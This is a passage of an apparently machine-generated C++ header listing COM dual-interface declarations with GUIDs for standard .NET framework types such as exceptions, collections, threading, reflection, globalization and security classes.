/* dual interface */ _ApplicationId;
struct __declspec(uuid("4db2c2b7-cbc2-3185-b966-875d4625b1a8"))
/* dual interface */ _ArgumentException;
struct __declspec(uuid("c991949b-e623-3f24-885c-bbb01ff43564"))
/* dual interface */ _ArgumentNullException;
struct __declspec(uuid("77da3028-bc45-3e82-bf76-2c123ee2c021"))
/* dual interface */ _ArgumentOutOfRangeException;
struct __declspec(uuid("9b012cf1-acf6-3389-a336-c023040c62a2"))
/* dual interface */ _ArithmeticException;
struct __declspec(uuid("dd7488a6-1b3f-3823-9556-c2772b15150f"))
/* dual interface */ _ArrayTypeMismatchException;
struct __declspec(uuid("3612706e-0239-35fd-b900-0819d16d442d"))
/* dual interface */ _AsyncCallback;
struct __declspec(uuid("a902a192-49ba-3ec8-b444-af5f7743f61a"))
/* dual interface */ _AttributeUsageAttribute;
struct __declspec(uuid("f98bce04-4a4b-398c-a512-fd8348d51e3b"))
/* dual interface */ _BadImageFormatException;
struct __declspec(uuid("f036bca4-f8df-3682-8290-75285ce7456c"))
/* dual interface */ _Buffer;
struct __declspec(uuid("6d4b6adb-b9fa-3809-b5ea-fa57b56c546f"))
/* dual interface */ _CannotUnloadAppDomainException;
struct __declspec(uuid("1dd627fc-89e3-384f-bb9d-58cb4efb9456"))
/* dual interface */ _CharEnumerator;
struct __declspec(uuid("bf1af177-94ca-3e6d-9d91-55cf9e859d22"))
/* dual interface */ _CLSCompliantAttribute;
struct __declspec(uuid("c2a10f3a-356a-3c77-aab9-8991d73a2561"))
/* dual interface */ _TypeUnloadedException;
struct __declspec(uuid("6b3f9834-1725-38c5-955e-20f051d067bd"))
/* dual interface */ _CriticalFinalizerObject;
struct __declspec(uuid("7386f4d7-7c11-389f-bb75-895714b12bb5"))
/* dual interface */ _ContextMarshalException;
struct __declspec(uuid("3eb1d909-e8bf-3c6b-ada5-0e86e31e186e"))
/* dual interface */ _ContextBoundObject;
struct __declspec(uuid("160d517f-f175-3b61-8264-6d2305b8246c"))
/* dual interface */ _ContextStaticAttribute;
struct __declspec(uuid("3025f666-7891-33d7-aacd-23d169ef354e"))
/* dual interface */ _TimeZone;
struct __declspec(uuid("0d9f1b65-6d27-3e9f-baf3-0597837e0f33"))
/* dual interface */ _DBNull;
struct __declspec(uuid("3169ab11-7109-3808-9a61-ef4ba0534fd9"))
/* dual interface */ _Binder;
struct __declspec(uuid("bdeea460-8241-3b41-9ed3-6e3e9977ac7f"))
/* dual interface */ _DivideByZeroException;
struct __declspec(uuid("d345a42b-cfe0-3eee-861c-f3322812b388"))
/* dual interface */ _DuplicateWaitObjectException;
struct __declspec(uuid("82d6b3bf-a633-3b3b-a09e-2363e4b24a41"))
/* dual interface */ _TypeLoadException;
struct __declspec(uuid("67388f3f-b600-3bcf-84aa-bb2b88dd9ee2"))
/* dual interface */ _EntryPointNotFoundException;
struct __declspec(uuid("24ae6464-2834-32cd-83d6-fa06953de62a"))
/* dual interface */ _DllNotFoundException;
struct __declspec(uuid("29dc56cf-b981-3432-97c8-3680ab6d862d"))
/* dual interface */ _Environment;
struct __declspec(uuid("7cefc46e-16e0-3e65-9c38-55b4342ba7f0"))
/* dual interface */ _EventHandler;
struct __declspec(uuid("8d5f5811-ffa1-3306-93e3-8afc572b9b82"))
/* dual interface */ _FieldAccessException;
struct __declspec(uuid("ebe3746d-ddec-3d23-8e8d-9361ba87bac6"))
/* dual interface */ _FlagsAttribute;
struct __declspec(uuid("07f92156-398a-3548-90b7-2e58026353d0"))
/* dual interface */ _FormatException;
struct __declspec(uuid("e5a5f1e4-82c1-391f-a1c6-f39eae9dc72f"))
/* dual interface */ _IndexOutOfRangeException;
struct __declspec(uuid("fa047cbd-9ba5-3a13-9b1f-6694d622cd76"))
/* dual interface */ _InvalidCastException;
struct __declspec(uuid("8d520d10-0b8a-3553-8874-d30a4ad2ff4c"))
/* dual interface */ _InvalidOperationException;
struct __declspec(uuid("3410e0fb-636f-3cd1-8045-3993ca113f25"))
/* dual interface */ _InvalidProgramException;
struct __declspec(uuid("dc77f976-318d-3a1a-9b60-abb9dd9406d6"))
/* dual interface */ _LocalDataStoreSlot;
struct __declspec(uuid("ff0bf77d-8f81-3d31-a3bb-6f54440fa7e5"))
/* dual interface */ _MethodAccessException;
struct __declspec(uuid("8897d14b-7fb3-3d8b-9ee4-221c3dbad6fe"))
/* dual interface */ _MissingMemberException;
struct __declspec(uuid("9717176d-1179-3487-8849-cf5f63de356e"))
/* dual interface */ _MissingFieldException;
struct __declspec(uuid("e5c659f6-92c8-3887-a07e-74d0d9c6267a"))
/* dual interface */ _MissingMethodException;
struct __declspec(uuid("d2ba71cc-1b3d-3966-a0d7-c61e957ad325"))
/* dual interface */ _MulticastNotSupportedException;
struct __declspec(uuid("665c9669-b9c6-3add-9213-099f0127c893"))
/* dual interface */ _NonSerializedAttribute;
struct __declspec(uuid("8e21ce22-4f17-347b-b3b5-6a6df3e0e58a"))
/* dual interface */ _NotFiniteNumberException;
struct __declspec(uuid("1e4d31a2-63ea-397a-a77e-b20ad87a9614"))
/* dual interface */ _NotImplementedException;
struct __declspec(uuid("40e5451f-b237-33f8-945b-0230db700bbb"))
/* dual interface */ _NotSupportedException;
struct __declspec(uuid("ecbe2313-cf41-34b4-9fd0-b6cd602b023f"))
/* dual interface */ _NullReferenceException;
struct __declspec(uuid("17b730ba-45ef-3ddf-9f8d-a490bac731f4"))
/* dual interface */ _ObjectDisposedException;
struct __declspec(uuid("e84307be-3036-307a-acc2-5d5de8a006a8"))
/* dual interface */ _ObsoleteAttribute;
struct __declspec(uuid("9e230640-a5d0-30e1-b217-9d2b6cc0fc40"))
/* dual interface */ _OperatingSystem;
struct __declspec(uuid("9df9af5a-7853-3d55-9b48-bd1f5d8367ab"))
/* dual interface */ _OperationCanceledException;
struct __declspec(uuid("37c69a5d-7619-3a0f-a96b-9c9578ae00ef"))
/* dual interface */ _OverflowException;
struct __declspec(uuid("d54500ae-8cf4-3092-9054-90dc91ac65c9"))
/* dual interface */ _ParamArrayAttribute;
struct __declspec(uuid("1eb8340b-8190-3d9d-92f8-51244b9804c5"))
/* dual interface */ _PlatformNotSupportedException;
struct __declspec(uuid("0f240708-629a-31ab-94a5-2bb476fe1783"))
/* dual interface */ _Random;
struct __declspec(uuid("871ddc46-b68e-3fee-a09a-c808b0f827e6"))
/* dual interface */ _RankException;
struct __declspec(uuid("0c4e9393-dab1-3f92-b36b-d9b958acaaf9"))
/* dual interface */ _TypeInfo;
struct __declspec(uuid("1b96e53c-4028-38bc-9dc3-8d7a9555c311"))
/* dual interface */ _SerializableAttribute;
struct __declspec(uuid("85d72f83-be91-3cb1-b4f0-76b56ff04033"))
/* dual interface */ _STAThreadAttribute;
struct __declspec(uuid("c02468d1-8713-3225-bda3-49b2fe37ddbb"))
/* dual interface */ _MTAThreadAttribute;
struct __declspec(uuid("7ab88ca9-17f4-385e-ad41-4ee0aa316fa1"))
/* dual interface */ _TimeoutException;
struct __declspec(uuid("feb0323d-8ce4-36a4-a41e-0ba0c32e1a6a"))
/* dual interface */ _TypeInitializationException;
struct __declspec(uuid("6193c5f6-6807-3561-a7f3-b64c80b5f00f"))
/* dual interface */ _UnauthorizedAccessException;
struct __declspec(uuid("a218e20a-0905-3741-b0b3-9e3193162e50"))
/* dual interface */ _UnhandledExceptionEventArgs;
struct __declspec(uuid("84199e64-439c-3011-b249-3c9065735adb"))
/* dual interface */ _UnhandledExceptionEventHandler;
struct __declspec(uuid("011a90c5-4910-3c29-bbb7-50d05ccbaa4a"))
/* dual interface */ _Version;
struct __declspec(uuid("c5df3568-c251-3c58-afb4-32e79e8261f0"))
/* dual interface */ _WeakReference;
struct __declspec(uuid("40dfc50a-e93a-3c08-b9ef-e2b4f28b5676"))
/* dual interface */ _WaitHandle;
struct __declspec(uuid("e142db4a-1a52-34ce-965e-13affd5447d0"))
/* dual interface */ _EventWaitHandle;
struct __declspec(uuid("3f243ebd-612f-3db8-9e03-bd92343a8371"))
/* dual interface */ _AutoResetEvent;
struct __declspec(uuid("56d201f1-3e5d-39d9-b5de-064710818905"))
/* dual interface */ _ContextCallback;
struct __declspec(uuid("c0bb9361-268f-3e72-bf6f-4120175a1500"))
/* dual interface */ _ManualResetEvent;
struct __declspec(uuid("ee22485e-4c45-3c9d-9027-a8d61c5f53f2"))
/* dual interface */ _Monitor;
struct __declspec(uuid("36cb559b-87c6-3ad2-9225-62a7ed499b37"))
/* dual interface */ _Mutex;
struct __declspec(uuid("dd846fcc-8d04-3665-81b6-aacbe99c19c3"))
/* dual interface */ _Overlapped;
struct __declspec(uuid("ad89b568-4fd4-3f8d-8327-b396b20a460e"))
/* dual interface */ _ReaderWriterLock;
struct __declspec(uuid("87f55344-17e0-30fd-8eb9-38eaf6a19b3f"))
/* dual interface */ _SynchronizationLockException;
struct __declspec(uuid("95b525db-6b81-3cdc-8fe7-713f7fc793c0"))
/* dual interface */ _ThreadAbortException;
struct __declspec(uuid("b9e07599-7c44-33be-a70e-efa16f51f54a"))
/* dual interface */ _ThreadInterruptedException;
struct __declspec(uuid("64409425-f8c9-370e-809e-3241ce804541"))
/* dual interface */ _RegisteredWaitHandle;
struct __declspec(uuid("ce949142-4d4c-358d-89a9-e69a531aa363"))
/* dual interface */ _WaitCallback;
struct __declspec(uuid("f078f795-f452-3d2d-8cc8-16d66ae46c67"))
/* dual interface */ _WaitOrTimerCallback;
struct __declspec(uuid("bbae942d-bff4-36e2-a3bc-508bb3801f4f"))
/* dual interface */ _IOCompletionCallback;
struct __declspec(uuid("b45bbd7e-a977-3f56-a626-7a693e5dbbc5"))
/* dual interface */ _ThreadStart;
struct __declspec(uuid("a13a41cf-e066-3b90-82f4-73109104e348"))
/* dual interface */ _ThreadStateException;
struct __declspec(uuid("a6b94b6d-854e-3172-a4ec-a17edd16f85e"))
/* dual interface */ _ThreadStaticAttribute;
struct __declspec(uuid("81456e86-22af-31d1-a91a-9c370c0e2530"))
/* dual interface */ _Timeout;
struct __declspec(uuid("3741bc6f-101b-36d7-a9d5-03fcc0ecda35"))
/* dual interface */ _TimerCallback;
struct __declspec(uuid("b49a029b-406b-3b1e-88e4-f86690d20364"))
/* dual interface */ _Timer;
struct __declspec(uuid("ea6795ac-97d6-3377-be64-829abd67607b"))
/* dual interface */ _CaseInsensitiveComparer;
struct __declspec(uuid("0422b845-b636-3688-8f61-9b6d93096336"))
/* dual interface */ _CaseInsensitiveHashCodeProvider;
struct __declspec(uuid("b7d29e26-7798-3fa4-90f4-e6a22d2099f9"))
/* dual interface */ _CollectionBase;
struct __declspec(uuid("ddd44da2-bc6b-3620-9317-c0372968c741"))
/* dual interface */ _DictionaryBase;
struct __declspec(uuid("bd32d878-a59b-3e5c-bfe0-a96b1a1e9d6f"))
/* dual interface */ _ReadOnlyCollectionBase;
struct __declspec(uuid("3a7d3ca4-b7d1-3a2a-800c-8fc2acfcbda4"))
/* dual interface */ _Queue;
struct __declspec(uuid("401f89cb-c127-3041-82fd-b67035395c56"))
/* dual interface */ _ArrayList;
struct __declspec(uuid("f145c46a-d170-3170-b52f-4678dfca0300"))
/* dual interface */ _BitArray;
struct __declspec(uuid("ab538809-3c2f-35d9-80e6-7bad540484a1"))
/* dual interface */ _Stack;
struct __declspec(uuid("8064a157-b5c8-3a4a-ad3d-02dc1a39c417"))
/* dual interface */ _Comparer;
struct __declspec(uuid("d25a197e-3e69-3271-a989-23d85e97f920"))
/* dual interface */ _Hashtable;
struct __declspec(uuid("56421139-a143-3ae9-9852-1dbdfe3d6bfa"))
/* dual interface */ _SortedList;
struct __declspec(uuid("84e7ac09-795a-3ea9-a36a-5b81ebab0558"))
/* dual interface */ _Nullable;
struct __declspec(uuid("8039c41f-4399-38a2-99b7-d234b5cf7a7b"))
/* dual interface */ _KeyNotFoundException;
struct __declspec(uuid("e40a025c-645b-3c8e-a1ac-9c5cca279625"))
/* dual interface */ _ConditionalAttribute;
struct __declspec(uuid("a9b4786c-08e3-344f-a651-2f9926deac5e"))
/* dual interface */ _Debugger;
struct __declspec(uuid("3344e8b4-a5c3-3882-8d30-63792485eccf"))
/* dual interface */ _DebuggerStepThroughAttribute;
struct __declspec(uuid("b3276180-b23e-3034-b18f-e0122ba4e4cf"))
/* dual interface */ _DebuggerStepperBoundaryAttribute;
struct __declspec(uuid("55b6903b-55fe-35e0-804f-e42a096d2eb0"))
/* dual interface */ _DebuggerHiddenAttribute;
struct __declspec(uuid("cc6dcafd-0185-308a-891c-83812fe574e7"))
/* dual interface */ _DebuggerNonUserCodeAttribute;
struct __declspec(uuid("428e3627-2b1f-302c-a7e6-6388cd535e75"))
/* dual interface */ _DebuggableAttribute;
struct __declspec(uuid("a3fc6319-7355-3d7d-8621-b598561152fc"))
/* dual interface */ _DebuggerBrowsableAttribute;
struct __declspec(uuid("404fafdd-1e3f-3602-bff6-755c00613ed8"))
/* dual interface */ _DebuggerTypeProxyAttribute;
struct __declspec(uuid("22fdabc0-eec7-33e0-b4f2-f3b739e19a5e"))
/* dual interface */ _DebuggerDisplayAttribute;
struct __declspec(uuid("e19ea1a2-67ff-31a5-b95c-e0b753403f6b"))
/* dual interface */ _DebuggerVisualizerAttribute;
struct __declspec(uuid("9a2669ec-ff84-3726-89a0-663a3ef3b5cd"))
/* dual interface */ _StackTrace;
struct __declspec(uuid("0e9b8e47-ca67-38b6-b9db-2c42ee757b08"))
/* dual interface */ _StackFrame;
struct __declspec(uuid("5141d79c-7b01-37da-b7e9-53e5a271baf8"))
/* dual interface */ _SymDocumentType;
struct __declspec(uuid("22bb8891-fd21-313d-92e4-8a892dc0b39c"))
/* dual interface */ _SymLanguageType;
struct __declspec(uuid("01364e7b-c983-3651-b7d8-fd1b64fc0e00"))
/* dual interface */ _SymLanguageVendor;
struct __declspec(uuid("81aa0d59-c3b1-36a3-b2e7-054928fbfc1a"))
/* dual interface */ _AmbiguousMatchException;
struct __declspec(uuid("05532e88-e0f2-3263-9b57-805ac6b6bb72"))
/* dual interface */ _ModuleResolveEventHandler;
struct __declspec(uuid("6163f792-3cd6-38f1-b5f7-000b96a5082b"))
/* dual interface */ _AssemblyCopyrightAttribute;
struct __declspec(uuid("64c26bf9-c9e5-3f66-ad74-bebaade36214"))
/* dual interface */ _AssemblyTrademarkAttribute;
struct __declspec(uuid("de10d587-a188-3dcb-8000-92dfdb9b8021"))
/* dual interface */ _AssemblyProductAttribute;
struct __declspec(uuid("c6802233-ef82-3c91-ad72-b3a5d7230ed5"))
/* dual interface */ _AssemblyCompanyAttribute;
struct __declspec(uuid("6b2c0bc4-ddb7-38ea-8a86-f0b59e192816"))
/* dual interface */ _AssemblyDescriptionAttribute;
struct __declspec(uuid("df44cad3-cef2-36a9-b013-383cc03177d7"))
/* dual interface */ _AssemblyTitleAttribute;
struct __declspec(uuid("746d1d1e-ee37-393b-b6fa-e387d37553aa"))
/* dual interface */ _AssemblyConfigurationAttribute;
struct __declspec(uuid("04311d35-75ec-347b-bedf-969487ce4014"))
/* dual interface */ _AssemblyDefaultAliasAttribute;
struct __declspec(uuid("c6f5946c-143a-3747-a7c0-abfada6bdeb7"))
/* dual interface */ _AssemblyInformationalVersionAttribute;
struct __declspec(uuid("b101fe3c-4479-311a-a945-1225ee1731e8"))
/* dual interface */ _AssemblyFileVersionAttribute;
struct __declspec(uuid("177c4e63-9e0b-354d-838b-b52aa8683ef6"))
/* dual interface */ _AssemblyCultureAttribute;
struct __declspec(uuid("a1693c5c-101f-3557-94db-c480ceb4c16b"))
/* dual interface */ _AssemblyVersionAttribute;
struct __declspec(uuid("a9fcda18-c237-3c6f-a6ef-749be22ba2bf"))
/* dual interface */ _AssemblyKeyFileAttribute;
struct __declspec(uuid("6cf1c077-c974-38e1-90a4-976e4835e165"))
/* dual interface */ _AssemblyDelaySignAttribute;
struct __declspec(uuid("57b849aa-d8ef-3ea6-9538-c5b4d498c2f7"))
/* dual interface */ _AssemblyAlgorithmIdAttribute;
struct __declspec(uuid("0ecd8635-f5eb-3e4a-8989-4d684d67c48a"))
/* dual interface */ _AssemblyFlagsAttribute;
struct __declspec(uuid("322a304d-11ac-3814-a905-a019f6e3dae9"))
/* dual interface */ _AssemblyKeyNameAttribute;
struct __declspec(uuid("fe52f19a-8aa8-309c-bf99-9d0a566fb76a"))
/* dual interface */ _AssemblyNameProxy;
struct __declspec(uuid("1660eb67-ee41-363e-beb0-c2de09214abf"))
/* dual interface */ _CustomAttributeFormatException;
struct __declspec(uuid("f4e5539d-0a65-3073-bf27-8dce8ef1def1"))
/* dual interface */ _CustomAttributeData;
struct __declspec(uuid("c462b072-fe6e-3bdc-9fab-4cdbfcbcd124"))
/* dual interface */ _DefaultMemberAttribute;
struct __declspec(uuid("e6df0ae7-ba15-3f80-8afa-27773ae414fc"))
/* dual interface */ _InvalidFilterCriteriaException;
struct __declspec(uuid("3188878c-deb3-3558-80e8-84e9ed95f92c"))
/* dual interface */ _ManifestResourceInfo;
struct __declspec(uuid("fae5d9b7-40c1-3de1-be06-a91c9da1ba9f"))
/* dual interface */ _MemberFilter;
struct __declspec(uuid("0c48f55d-5240-30c7-a8f1-af87a640cefe"))
/* dual interface */ _Missing;
struct __declspec(uuid("8a5f0da2-7b43-3767-b623-2424cf7cd268"))
/* dual interface */ _ObfuscateAssemblyAttribute;
struct __declspec(uuid("71fb8dcf-3fa7-3483-8464-9d8200e57c43"))
/* dual interface */ _ObfuscationAttribute;
struct __declspec(uuid("643a4016-1b16-3ccf-ae86-9c2d9135ecb0"))
/* dual interface */ _ExceptionHandlingClause;
struct __declspec(uuid("b072efe2-c943-3977-bfd9-91d5232b0d53"))
/* dual interface */ _MethodBody;
struct __declspec(uuid("f2ecd8ca-91a2-31e8-b808-e028b4f5ca67"))
/* dual interface */ _LocalVariableInfo;
struct __declspec(uuid("f0deafe9-5eba-3737-9950-c1795739cdcd"))
/* dual interface */ _Pointer;
struct __declspec(uuid("22c26a41-5fa3-34e3-a76f-ba480252d8ec"))
/* dual interface */ _ReflectionTypeLoadException;
struct __declspec(uuid("fc4963cb-e52b-32d8-a418-d058fa51a1fa"))
/* dual interface */ _StrongNameKeyPair;
struct __declspec(uuid("98b1524d-da12-3c4b-8a69-7539a6dec4fa"))
/* dual interface */ _TargetException;
struct __declspec(uuid("a90106ed-9099-3329-8a5a-2044b3d8552b"))
/* dual interface */ _TargetInvocationException;
struct __declspec(uuid("6032b3cd-9bed-351c-a145-9d500b0f636f"))
/* dual interface */ _TargetParameterCountException;
struct __declspec(uuid("34e00ef9-83e2-3bbc-b6af-4cae703838bd"))
/* dual interface */ _TypeDelegator;
struct __declspec(uuid("e1817846-3745-3c97-b4a6-ee20a1641b29"))
/* dual interface */ _TypeFilter;
struct __declspec(uuid("3faa35ee-c867-3e2e-bf48-2da271f88303"))
/* dual interface */ _FormatterConverter;
struct __declspec(uuid("f859954a-78cf-3d00-86ab-ef661e6a4b8d"))
/* dual interface */ _FormatterServices;
struct __declspec(uuid("feca70d4-ae27-3d94-93dd-a90f02e299d5"))
/* dual interface */ _OptionalFieldAttribute;
struct __declspec(uuid("9ec28d2c-04c0-35f3-a7ee-0013271ff65e"))
/* dual interface */ _OnSerializingAttribute;
struct __declspec(uuid("547bf8cd-f2a8-3b41-966d-98db33ded06d"))
/* dual interface */ _OnSerializedAttribute;
struct __declspec(uuid("f5aef88f-9ac4-320c-95d2-88e863a35762"))
/* dual interface */ _OnDeserializingAttribute;
struct __declspec(uuid("dd36c803-73d1-338d-88ba-dc9eb7620ef7"))
/* dual interface */ _OnDeserializedAttribute;
struct __declspec(uuid("450222d0-87ca-3699-a7b4-d8a0fdb72357"))
/* dual interface */ _SerializationBinder;
struct __declspec(uuid("245fe7fd-e020-3053-b5f6-7467fd2c6883"))
/* dual interface */ _SerializationException;
struct __declspec(uuid("b58d62cf-b03a-3a14-b0b6-b1e5ad4e4ad5"))
/* dual interface */ _SerializationInfo;
struct __declspec(uuid("607056c6-1bca-36c8-ab87-33b202ebf0d8"))
/* dual interface */ _SerializationInfoEnumerator;
struct __declspec(uuid("d9bd3c8d-9395-3657-b6ee-d1b509c38b70"))
/* dual interface */ _Formatter;
struct __declspec(uuid("a30646cc-f710-3bfa-a356-b4c858d4ed8e"))
/* dual interface */ _ObjectIDGenerator;
struct __declspec(uuid("f28e7d04-3319-3968-8201-c6e55becd3d4"))
/* dual interface */ _ObjectManager;
struct __declspec(uuid("6de1230e-1f52-3779-9619-f5184103466c"))
/* dual interface */ _SurrogateSelector;
struct __declspec(uuid("4cca29e4-584b-3cd0-ad25-855dc5799c16"))
/* dual interface */ _Calendar;
struct __declspec(uuid("505defe5-aefa-3e23-82b0-d5eb085bb840"))
/* dual interface */ _CompareInfo;
struct __declspec(uuid("152722c2-f0b1-3d19-ada8-f40ca5caecb8"))
/* dual interface */ _CultureInfo;
struct __declspec(uuid("ab20bf9e-7549-3226-ba87-c1edfb6cda6c"))
/* dual interface */ _CultureNotFoundException;
struct __declspec(uuid("015e9f67-337c-398a-a0c1-da4af1905571"))
/* dual interface */ _DateTimeFormatInfo;
struct __declspec(uuid("efea8feb-ee7f-3e48-8a36-6206a6acbf73"))
/* dual interface */ _DaylightTime;
struct __declspec(uuid("677ad8b5-8a0e-3c39-92fb-72fb817cf694"))
/* dual interface */ _GregorianCalendar;
struct __declspec(uuid("96a62d6c-72a9-387a-81fa-e6dd5998caee"))
/* dual interface */ _HebrewCalendar;
struct __declspec(uuid("28ddc187-56b2-34cf-a078-48bd1e113d1e"))
/* dual interface */ _HijriCalendar;
struct __declspec(uuid("89e148c4-2424-30ae-80f5-c5d21ea3366c"))
/* dual interface */ _EastAsianLunisolarCalendar;
struct __declspec(uuid("36e2de92-1fb3-3d7d-ba26-9cad5b98dd52"))
/* dual interface */ _JulianCalendar;
struct __declspec(uuid("d662ae3f-cef9-38b4-bb8e-5d8dd1dbf806"))
/* dual interface */ _JapaneseCalendar;
struct __declspec(uuid("48bea6c4-752e-3974-8ca8-cfb6274e2379"))
/* dual interface */ _KoreanCalendar;
struct __declspec(uuid("f9e97e04-4e1e-368f-b6c6-5e96ce4362d6"))
/* dual interface */ _RegionInfo;
struct __declspec(uuid("f4c70e15-2ca6-3e90-96ed-92e28491f538"))
/* dual interface */ _SortKey;
struct __declspec(uuid("0a25141f-51b3-3121-aa30-0af4556a52d9"))
/* dual interface */ _StringInfo;
struct __declspec(uuid("0c08ed74-0acf-32a9-99df-09a9dc4786dd"))
/* dual interface */ _TaiwanCalendar;
struct __declspec(uuid("8c248251-3e6c-3151-9f8e-a255fb8d2b12"))
/* dual interface */ _TextElementEnumerator;
struct __declspec(uuid("db8de23f-f264-39ac-b61c-cc1e7eb4a5e6"))
/* dual interface */ _TextInfo;
struct __declspec(uuid("c70c8ae8-925b-37ce-8944-34f15ff94307"))
/* dual interface */ _ThaiBuddhistCalendar;
struct __declspec(uuid("25e47d71-20dd-31be-b261-7ae76497d6b9"))
/* dual interface */ _NumberFormatInfo;
struct __declspec(uuid("ddedb94d-4f3f-35c1-97c9-3f1d87628d9e"))
/* dual interface */ _Encoding;
struct __declspec(uuid("8fd56502-8724-3df0-a1b5-9d0e8d4e4f78"))
/* dual interface */ _Encoder;
struct __declspec(uuid("2adb0d4a-5976-38e4-852b-c131797430f5"))
/* dual interface */ _Decoder;
struct __declspec(uuid("0cbe0204-12a1-3d40-9d9e-195de6aaa534"))
/* dual interface */ _ASCIIEncoding;
struct __declspec(uuid("f7dd3b7f-2b05-3894-8eda-59cdf9395b6a"))
/* dual interface */ _UnicodeEncoding;
struct __declspec(uuid("89b9f00b-aa2a-3a49-91b4-e8d1f1c00e58"))
/* dual interface */ _UTF7Encoding;
struct __declspec(uuid("010fc1d0-3ef9-3f3b-aa0a-b78a1ff83a37"))
/* dual interface */ _UTF8Encoding;
struct __declspec(uuid("1a4e1878-fe8c-3f59-b6a9-21ab82be57e9"))
/* dual interface */ _MissingManifestResourceException;
struct __declspec(uuid("5a8de087-d9d7-3bba-92b4-fe1034a1242f"))
/* dual interface */ _MissingSatelliteAssemblyException;
struct __declspec(uuid("f48df808-8b7d-3f4e-9159-1dfd60f298d6"))
/* dual interface */ _NeutralResourcesLanguageAttribute;
struct __declspec(uuid("4de671b7-7c85-37e9-aff8-1222abe4883e"))
/* dual interface */ _ResourceManager;
struct __declspec(uuid("7fbcfdc7-5cec-3945-8095-daed61be5fb1"))
/* dual interface */ _ResourceReader;
struct __declspec(uuid("44d5f81a-727c-35ae-8df8-9ff6722f1c6c"))
/* dual interface */ _ResourceSet;
struct __declspec(uuid("af170258-aac6-3a86-bd34-303e62ced10e"))
/* dual interface */ _ResourceWriter;
struct __declspec(uuid("5cbb1f47-fba5-33b9-9d4a-57d6e3d133d2"))
/* dual interface */ _SatelliteContractVersionAttribute;
struct __declspec(uuid("23bae0c0-3a36-32f0-9dad-0e95add67d23"))
/* dual interface */ _Registry;
struct __declspec(uuid("2eac6733-8d92-31d9-be04-dc467efc3eb1"))
/* dual interface */ _RegistryKey;
struct __declspec(uuid("99f01720-3cc2-366d-9ab9-50e36647617f"))
/* dual interface */ _AllMembershipCondition;
struct __declspec(uuid("9ccc831b-1ba7-34be-a966-56d5a6db5aad"))
/* dual interface */ _ApplicationDirectory;
struct __declspec(uuid("a02a2b22-1dba-3f92-9f84-5563182851bb"))
/* dual interface */ _ApplicationDirectoryMembershipCondition;
struct __declspec(uuid("18e473f6-637b-3c01-8d46-d011aad26c95"))
/* dual interface */ _ApplicationSecurityInfo;
struct __declspec(uuid("c664fe09-0a55-316d-b25b-6b3200ecaf70"))
/* dual interface */ _ApplicationSecurityManager;
struct __declspec(uuid("e66a9755-58e2-3fcb-a265-835851cbf063"))
/* dual interface */ _ApplicationTrust;
struct __declspec(uuid("bb03c920-1c05-3ecb-982d-53324d5ac9ff"))
/* dual interface */ _ApplicationTrustCollection;
struct __declspec(uuid("01afd447-60ca-3b67-803a-e57b727f3a5b"))
/* dual interface */ _ApplicationTrustEnumerator;
struct __declspec(uuid("d7093f61-ed6b-343f-b1e9-02472fcc710e"))
/* dual interface */ _CodeGroup;
struct __declspec(uuid("a505edbc-380e-3b23-9e1a-0974d4ef02ef"))
/* dual interface */ _Evidence;
struct __declspec(uuid("dfad74dc-8390-32f6-9612-1bd293b233f4"))
/* dual interface */ _FileCodeGroup;
struct __declspec(uuid("54b0afb1-e7d3-3770-bb0e-75a95e8d2656"))
/* dual interface */ _FirstMatchCodeGroup;
struct __declspec(uuid("d89eac5e-0331-3fcd-9c16-4f1ed3fe1be2"))
/* dual interface */ _TrustManagerContext;
struct __declspec(uuid("fe8a2546-3478-3fad-be1d-da7bc25c4e4e"))
/* dual interface */ _CodeConnectAccess;
struct __declspec(uuid("a8f69eca-8c48-3b5e-92a1-654925058059"))
/* dual interface */ _NetCodeGroup;
struct __declspec(uuid("34b0417e-e71d-304c-9fac-689350a1b41c"))
/* dual interface */ _PermissionRequestEvidence;
struct __declspec(uuid("a9c9f3d9-e153-39b8-a533-b8df4664407b"))
/* dual interface */ _PolicyException;
struct __declspec(uuid("44494e35-c370-3014-bc78-0f2ecbf83f53"))
/* dual interface */ _PolicyLevel;
struct __declspec(uuid("3eefd1fc-4d8d-3177-99f6-6c19d9e088d3"))
/* dual interface */ _PolicyStatement;
struct __declspec(uuid("90c40b4c-b0d0-30f5-b520-fdba97bc31a0"))
/* dual interface */ _Site;
struct __declspec(uuid("0a7c3542-8031-3593-872c-78d85d7cc273"))
/* dual interface */ _SiteMembershipCondition;
struct __declspec(uuid("2a75c1fd-06b0-3cbb-b467-2545d4d6c865"))
/* dual interface */ _StrongName;
struct __declspec(uuid("579e93bc-ffab-3b8d-9181-ce9c22b51915"))
/* dual interface */ _StrongNameMembershipCondition;
struct __declspec(uuid("d9d822de-44e5-33ce-a43f-173e475cecb1"))
/* dual interface */ _UnionCodeGroup;
struct __declspec(uuid("d94ed9bf-c065-3703-81a2-2f76ea8e312f"))
/* dual interface */ _Url;
struct __declspec(uuid("bb7a158d-dbd9-3e13-b137-8e61e87e1128"))
/* dual interface */ _UrlMembershipCondition;
struct __declspec(uuid("742e0c26-0e23-3d20-968c-d221094909aa"))
/* dual interface */ _Zone;
struct __declspec(uuid("adbc3463-0101-3429-a06c-db2f1dd6b724"))
/* dual interface */ _ZoneMembershipCondition;
struct __declspec(uuid("a7aef52c-b47b-3660-bb3e-34347d56db46"))
/* dual interface */ _GacInstalled;
struct __declspec(uuid("b2217ab5-6e55-3ff6-a1a9-1b0dc0585040"))
/* dual interface */ _GacMembershipCondition;
struct __declspec(uuid("7574e121-74a6-3626-b578-0783badb19d2"))
/* dual interface */ _Hash;
struct __declspec(uuid("6ba6ea7a-c9fc-3e73-82ec-18f29d83eefd"))
/* dual interface */ _HashMembershipCondition;
struct __declspec(uuid("77cca693-abf6-3773-bf58-c0b02701a744"))
/* dual interface */ _Publisher;
struct __declspec(uuid("3515cf63-9863-3044-b3e1-210e98efc702"))
/* dual interface */ _PublisherMembershipCondition;
struct __declspec(uuid("42ca6b3f-8cb9-3005-a7c1-ee9021db369b"))
/* dual interface */ _ClaimsIdentity;
struct __declspec(uuid("9a37d8b2-2256-3fe3-8bf0-4fc421a1244f"))
/* dual interface */ _GenericIdentity;
struct __declspec(uuid("d26a9704-bf99-3a3f-ac55-96af1a314c7f"))
/* dual interface */ _ClaimsPrincipal;
struct __declspec(uuid("b4701c26-1509-3726-b2e1-409a636c9b4f"))
/* dual interface */ _GenericPrincipal;
struct __declspec(uuid("d8cf3f23-1a66-3344-8230-07eb53970b85"))
/* dual interface */ _WindowsIdentity;
struct __declspec(uuid("60ecfdda-650a-324c-b4b3-f4d75b563bb1"))
/* dual interface */ _WindowsImpersonationContext;
